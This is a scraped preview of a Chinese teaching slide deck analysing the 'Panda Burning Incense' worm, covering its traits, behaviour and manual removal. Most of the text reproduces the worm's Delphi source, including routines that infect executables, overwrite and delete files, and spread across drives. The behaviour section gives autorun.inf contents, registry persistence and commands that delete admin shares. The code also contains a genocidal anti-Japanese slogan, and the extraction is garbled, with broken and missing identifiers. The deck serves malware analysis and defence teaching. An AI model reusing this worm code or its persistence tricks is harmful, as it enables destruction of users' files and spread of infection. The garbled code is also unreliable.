熊貓燒香病毒剖析與清除_第1頁
熊貓燒香病毒剖析與清除_第2頁
熊貓燒香病毒剖析與清除_第3頁
熊貓燒香病毒剖析與清除_第4頁
熊貓燒香病毒剖析與清除_第5頁
已閱讀5頁,還剩34頁未讀, 繼續(xù)免費(fèi)閱讀

下載本文檔

版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請進(jìn)行舉報或認(rèn)領(lǐng)

文檔簡介

計算機(jī)病毒與防治兆吉鞋業(yè)有限公司資訊部:曾杰彬教學(xué)單元4-4蠕蟲病毒防治

熊貓燒香病毒源碼分析

熊貓燒香病毒特點(diǎn)

熊貓燒香病毒行為分析第二講熊貓燒香蠕蟲病毒剖析

熊貓燒香病毒的手工清除熊貓燒香病毒特點(diǎn)病毒名稱熊貓燒香

又稱尼姆亞、武漢男生、worm.whBoy.、worm.nimaya.

病毒類型蠕蟲病毒危險級別★★★★★影響系統(tǒng)Win9X/ME/NT/2000/XP/2003

熊貓燒香病毒特點(diǎn)2006年底,我國互聯(lián)網(wǎng)上大規(guī)模爆發(fā)“熊貓燒香”病毒及其變種,該病毒通過多種方式進(jìn)行傳播,同時該病毒還具有盜取用戶游戲賬號、QQ賬號等功能。該病毒傳播速度快,危害范圍廣,截至案發(fā)為止,已有上百萬個人用戶、網(wǎng)吧及企業(yè)局域網(wǎng)用戶遭受感染和破壞,引起社會各界高度關(guān)注。

《瑞星2006安全報告》將其列為十大病毒之首,在《2006年度中國大陸地區(qū)電腦病毒疫情和互聯(lián)網(wǎng)安全報告》的十大病毒排行中一舉成為“毒王”。熊貓燒香病毒特點(diǎn)熊貓燒香一個感染型的蠕蟲病毒,它能感染系統(tǒng)中exe,com,pif,src,html,asp等文件,它還能中止大量的反病毒軟件進(jìn)程并且會刪除擴(kuò)展名為gho的文件,該文件是一系統(tǒng)備份工具GHOST的備份文件,使用戶的系統(tǒng)備份文件丟失。

被感染的用戶系統(tǒng)中所有.exe可執(zhí)行文件全部被改成熊貓舉著三根香的模樣。熊貓燒香病毒特點(diǎn)湖北省公安廳2007年2月12日宣布,根據(jù)統(tǒng)一部署,湖北省網(wǎng)監(jiān)在多個省市公安機(jī)關(guān)的配合下,一舉偵破了制作傳播“熊貓燒香”病毒案,抓獲李?。校玻禋q,武漢新洲區(qū)人)。病毒制造者熊貓燒香病毒源碼分析含有病毒體的文件被運(yùn)行后,病毒將自身拷貝至系統(tǒng)目錄,同時修改注冊表將自身設(shè)置為開機(jī)啟動項(xiàng),并遍歷各個驅(qū)動器,將自身寫入磁盤根目錄下,增加一個Autorun.inf文件,使得用戶打開該盤時激活病毒體。隨后病毒體開一個線程進(jìn)行本地文件感染,同時開另外一個線程連接網(wǎng)站下載ddos程序進(jìn)行發(fā)動惡意攻擊。病毒結(jié)構(gòu)

主程序流程圖熊貓燒香病毒源碼分析Program

japussy;useswindows,

sysutils,

classes,

graphics,

shellapi{,

registry};constheadersize

=

82432;

//病毒體的大小iconoffset

=

$12eb8;

//pe文件主圖標(biāo)的偏移量//查找2800000020的十六進(jìn)制字符串可以找到主圖標(biāo)的偏移量{headersize

=

38912;

//upx壓縮過病毒體的大小iconoffset

=

$92bc;

//upx壓縮過pe文件主圖標(biāo)的偏移量}iconsize

=

$2e8;

//pe文件主圖標(biāo)的大小--744字節(jié)icontail

=

iconoffset

+

iconsize;

//pe文件主圖標(biāo)的尾部id

=

$44444444;

//感染標(biāo)記病毒文件初始信息熊貓燒香病毒源碼分析//垃圾碼,以備寫入catchword

=

'if

a

race

need

to

be

killed

out,

it

must

be

yamato.

'

+

'if

a

country

need

to

be

destroyed,

it

must

be

japan!

'

+

'***

w32.japussy.worm.a

***';{$r

*.res}function

registerserviceprocess(dwprocessid,

dwtype:

integer):

integer;

stdcall;

external

'kernel32.dll';

//函數(shù)聲明vartmpfile:

string;si:

startupinfo;pi:

process_information;isjap:

boolean

=

false;

//日文操作系統(tǒng)標(biāo)記熊貓燒香病毒源碼分析{

=====判斷是否為win9x

=====}function

iswin9x:

boolean;varver:

tosversioninfo;beginresult

:=

false;ver.dwosversioninfosize

:=

sizeof(tosversioninfo);if

not

getversionex(ver)

then

exit;if

(ver.dwplatformid

=

ver_platform_win32_windows)

then

//win9x

result

:=

true;end;熊貓燒香病毒源碼分析{=====

在流之間復(fù)制=====

}procedure

copystream(src:

tstream;

sstartpos:

integer;

dst:

tstream;dstartpos:

integer;

count:

integer);varscurpos,

dcurpos:

integer;beginscurpos

:=

src.position;dcurpos

:=

dst.position;src.seek(sstartpos,

0);dst.seek(dstartpos,

0);dst.copyfrom(src,

count);src.seek(scurpos,

0);dst.seek(dcurpos,

0);end;熊貓燒香病毒源碼分析{======將宿主文件從已感染的PE文件中分離出來,以備使用=====}procedure

extractfile(filename:

string);varsstream,

dstream:

tfilestream;begintrysstream

:=

tfilestream.create(paramstr(0),

fmopenread

or

fmsharedenynone);trydstream

:=

tfilestream.create(filename,

fmcreate);trysstream.seek(headersize,

0);

//跳過頭部的病毒部分dstream.copyfrom(sstream,

sstream.size

-

headersize);finallydstream.free;end;finallysstream.free;end;熊貓燒香病毒源碼分析{=====

填充startupinfo結(jié)構(gòu)

=====}procedure

fillstartupinfo(var

si:

startupinfo;

state:

word);beginsi.cb

:=

sizeof(si);si.lpreserved

:=

nil;si.lpdesktop

:=

nil;si.lptitle

:=

nil;si.dwflags

:=

startf_useshowwindow;si.wshowwindow

:=

state;si.cbreserved2

:=

0;si.lpreserved2

:=

nil;end;{

=====發(fā)帶毒郵件=====

}procedure

sendmail;//此處省略了帶危害性的代碼beginend;熊貓燒香病毒源碼分析{=====感染PE文件=====}procedure

infectonefile(filename:

string);varhdrstream,

srcstream:

tfilestream;icostream,

dststream:

tmemorystream;iid:

longint;aicon:

ticon;infected,

ispe:

boolean;i:

integer;buf:

array[0..1]

of

char;begintry

//出錯則文件正在被使用,退出

if

comparetext(filename,

'japussy.exe')

=

0

then

//是自己則不感染exit;infected

:=

false;ispe

:=

false;熊貓燒香病毒源碼分析srcstream

:=

tfilestream.create(filename,

fmopenread);tryfor

i

:=

0

to

$108

do

//檢查pe文件頭beginsrcstream.seek(i,

sofrombeginning);srcstream.read(buf,

2);if

(buf[0]

=

#80)

and

(buf[1]

=

#69)

then

//pe標(biāo)記beginispe

:=

true;

//是pe文件break;end;end;srcstream.seek(-4,

sofromend);

//檢查感染標(biāo)記srcstream.read(iid,

4);if

(iid

=

id)

or

(srcstream.size

<

10240)

then

//太小的文件不感染infected

:=

true;finallysrcstream.free;end;熊貓燒香病毒源碼分析if

infected

or

(not

ispe)

then

//如果感染過了或不是pe文件則退出exit;icostream

:=

tmemorystream.create;dststream

:=

tmemorystream.create;tryaicon

:=

ticon.create;try//得到被感染文件的主圖標(biāo)(744字節(jié)),存入流

aicon.releasehandle;aicon.handle

:=

extracticon(hinstance,

pchar(filename),

0);aicon.savetostream(icostream);finallyaicon.free;end;熊貓燒香病毒源碼分析srcstream

:=

tfilestream.create(filename,

fmopenread);

//頭文件hdrstream

:=

tfilestream.create(paramstr(0),

fmopenread

or

fmsharedenynone);

try//寫入病毒體主圖標(biāo)之前的數(shù)據(jù)copystream(hdrstream,

0,

dststream,

0,

iconoffset);//寫入目前程序的主圖標(biāo)copystream(icostream,

22,

dststream,

iconoffset,

iconsize);//寫入病毒體主圖標(biāo)到病毒體尾部之間的數(shù)據(jù)copystream(hdrstream,

icontail,

dststream,

icontail,

headersize

-

icontail);//寫入宿主程序copystream(srcstream,

0,

dststream,

headersize,

srcstream.size);//寫入已感染的標(biāo)記dststream.seek(0,

2);iid

:=

$44444444;dststream.write(iid,

4);finally熊貓燒香病毒源碼分析{=====將目標(biāo)文件寫入垃圾碼后刪除======}procedure

smashfile(filename:

string);varfilehandle:

integer;i,

size,

mass,

max,

len:

integer;Begintrysetfileattributes(pchar(filename),

0);

//去掉只讀屬性filehandle

:=

fileopen(filename,

fmopenwrite);

//打開文件trysize

:=

getfilesize(filehandle,

nil);

//文件大小i

:=

0;randomize;max

:=

random(15);

//寫入垃圾碼的隨機(jī)次數(shù)if

max

<

5

thenmax

:=

5;熊貓燒香病毒源碼分析mass

:=

size

div

max;

//每個間隔塊的大小len

:=

length(catchword);while

i

<

max

dobeginfileseek(filehandle,

i

*

mass,

0);

//定位//寫入垃圾碼,將文件徹底破壞掉filewrite(filehandle,

catchword,

len);inc(i);end;finallyfileclose(filehandle);

//關(guān)閉文件end;//刪除之deletefile(pchar(filename));

熊貓燒香病毒源碼分析{

=====獲得可寫的驅(qū)動器列表

=====}function

getdrives:

string;vardisktype:

word;d:

char;str:

string;i:

integer;beginfor

i

:=

0

to

25

do

//遍歷26個字母begind

:=

chr(i

+

65);str

:=

d

+

':\';disktype

:=

getdrivetype(pchar(str));//得到本地磁盤和網(wǎng)絡(luò)盤if

(disktype

=

drive_fixed)

or

(disktype

=

drive_remote)

thenresult

:=

result

+

d;end;熊貓燒香病毒源碼分析{=====遍歷目錄,感染和摧毀文件=====}procedure

loopfiles(path,

mask:

string);vari,

count:

integer;fn,

ext:

string;subdir:

tstrings;searchrec:

tsearchrec;msg:

tmsg;function

isvaliddir(searchrec:

tsearchrec):

integer;beginif

(searchrec.attr

<>

16)

and

(

<>

'.')

and(

<>

'..')

thenresult

:=

0

//不是目錄else

if

(searchrec.attr

=

16)

and

(

<>

'.')

and(

<>

'..')

thenresult

:=

1

//不是根目錄else

result

:=

2;

//是根目錄end;熊貓燒香病毒源碼分析beginif

(findfirst(path

+

mask,

faanyfile,

searchrec)

=

0)

thenbeginrepeatpeekmessage(msg,

0,

0,

0,

pm_remove);

//調(diào)整消息隊(duì)列,避免引起懷疑if

isvaliddir(searchrec)

=

0

thenbeginfn

:=

path

+

;ext

:=

uppercase(extractfileext(fn));if

(ext

=

'.exe')

or

(ext

=

'.scr')

thenbegininfectonefile(fn);

//感染可執(zhí)行文件

endelse

if

(ext

=

'.htm')

or

(ext

=

'.html')

or

(ext

=

'.asp')

thenbegin//感染html和asp文件,將base64編碼后的病毒寫入//感染瀏覽此網(wǎng)頁的所有用戶end熊貓燒香病毒源碼分析else

if

ext

=

'.wab'

then

//outlook地址簿文件begin//獲取outlook郵件地址endelse

if

ext

=

'.adc'

then

//foxmail地址自動完成文件begin//獲取foxmail郵件地址endelse

if

ext

=

'ind'

then

//foxmail地址簿文件begin//獲取foxmail郵件地址子過程是典型的遍歷本機(jī)中所有可用盤中的所有子目錄下的所有文件并施行相應(yīng)操作的編碼。在確定當(dāng)前文件為可執(zhí)行文件(僅針對.EXE和.SCR文件)后,調(diào)用子過程InfectOneFile進(jìn)行特定的感染。熊貓燒香病毒源碼分析{=====遍歷磁盤上所有的文件=====}procedure

infectfiles;vardriverlist:

string;i,

len:

integer;beginif

getacp

=

932

then

//日文操作系統(tǒng)isjap

:=

true;

driverlist

:=

getdrives;

//得到可寫的磁盤列表len

:=

length(driverlist);while

true

do

//死循環(huán)beginfor

i

:=

len

downto

1

do

//遍歷每個磁盤驅(qū)動器loopfiles(driverlist

+

':\',

'*.*');

//感染之sendmail;

//發(fā)帶毒郵件sleep(1000

*

60

*

5);

//睡眠5分鐘熊貓燒香病毒源碼分析這里的核心是后面的死循環(huán)。先讓我們分析較簡單的“發(fā)帶毒郵件”部分。從后面病毒具體遍歷可用磁盤并執(zhí)行具體感染過程可知,此過程中,它會取得安裝在本機(jī)中的常用郵件客戶端程序(Outlook,F(xiàn)oxMail)相應(yīng)電子郵件信息。其目的是:取得重要郵箱地址及相應(yīng)密碼,然后向這些郵件地址群發(fā)帶毒的電子郵件,從而達(dá)到利用網(wǎng)絡(luò)傳播自身的目的。熊貓燒香病毒源碼分析{==================主程序開始=================}beginif

iswin9x

then

//是win9xregisterserviceprocess(getcurrentprocessid,

1)

//注冊為服務(wù)進(jìn)程else

//winntbegin//遠(yuǎn)程線程映射到explorer進(jìn)程

end;雖然源碼提供者省略了相應(yīng)實(shí)現(xiàn),但這是比較基本的編程實(shí)現(xiàn)。通過把自身注冊為服務(wù)進(jìn)程,可以使自己隨著系統(tǒng)的啟動一起啟動。當(dāng)然,還可以進(jìn)一步施加技巧而使自己從Windows任務(wù)管理器下隱藏顯示。熊貓燒香病毒源碼分析//如果是原始病毒體自己if

comparetext(extractfilename(paramstr(0)),

'japussy.exe')

=

0

then

infectfiles

//感染和發(fā)郵件else

//已寄生于宿主程序上了,開始工作begintmpfile

:=

paramstr(0);

//創(chuàng)建臨時文件delete(tmpfile,

length(tmpfile)

-

4,

4);tmpfile

:=

tmpfile

+

#32

+

'.exe';

//真正的宿主文件,多一個空格extractfile(tmpfile);

//分離之fillstartupinfo(si,

sw_showdefault);createprocess(pchar(tmpfile),

pchar(tmpfile),

nil,

nil,

true,0,

nil,

'.',

si,

pi);

//創(chuàng)建新進(jìn)程運(yùn)行之infectfiles;

//感染和發(fā)郵件end;熊貓燒香病毒主要行為分析熊貓燒香病毒樣本

熊貓燒香病毒感染D盤中的文件熊貓燒香病毒主要行為分析熊貓燒香病毒主要行為分析(1)復(fù)制自身到系統(tǒng)目錄下:C:\WINDOWS\System32\Drivers\spoclsv.exe。熊貓燒香病毒在系統(tǒng)盤下生成的文件熊貓燒香病毒主要行為分析(2)在各分區(qū)根目錄生成病毒副本:X:\setup.exeX:\autorun.inf其中autorun.inf中的內(nèi)容是:[AutoRun]OPEN=setup.exeshellexecute=setup.exeshell\Auto\command=setup.exe熊貓燒香病毒主要行為分析(3)創(chuàng)建啟動項(xiàng):[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]svcshare"="%System%\drivers\spoclsv.exe"熊貓燒香在注冊表中添加啟動項(xiàng)熊貓燒香病毒主要行為分析(4)使用netshare命令關(guān)閉管理共享:cmd.exe/cnetshareX$/del/ycmd.exe/cnetshareadmin$/del/y(5)修改“顯示所有文件和文件夾”設(shè)置:[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL]"CheckedValue"=dword:00000000(6)嘗試關(guān)閉安全軟件相關(guān)窗口:天網(wǎng)防火墻進(jìn)程、VirusScan、NOD32等

(7)嘗試結(jié)束安全軟件相關(guān)進(jìn)程:Mcshield.exeVsTskMgr.exe等

熊貓燒香病毒主要行為分析(8)禁用安全軟件相關(guān)服務(wù):Scheduleshar

溫馨提示

  • 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
  • 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 人人文庫網(wǎng)僅提供信息存儲空間,僅對用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對任何下載內(nèi)容負(fù)責(zé)。
  • 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時也不承擔(dān)用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。

評論

0/150

提交評論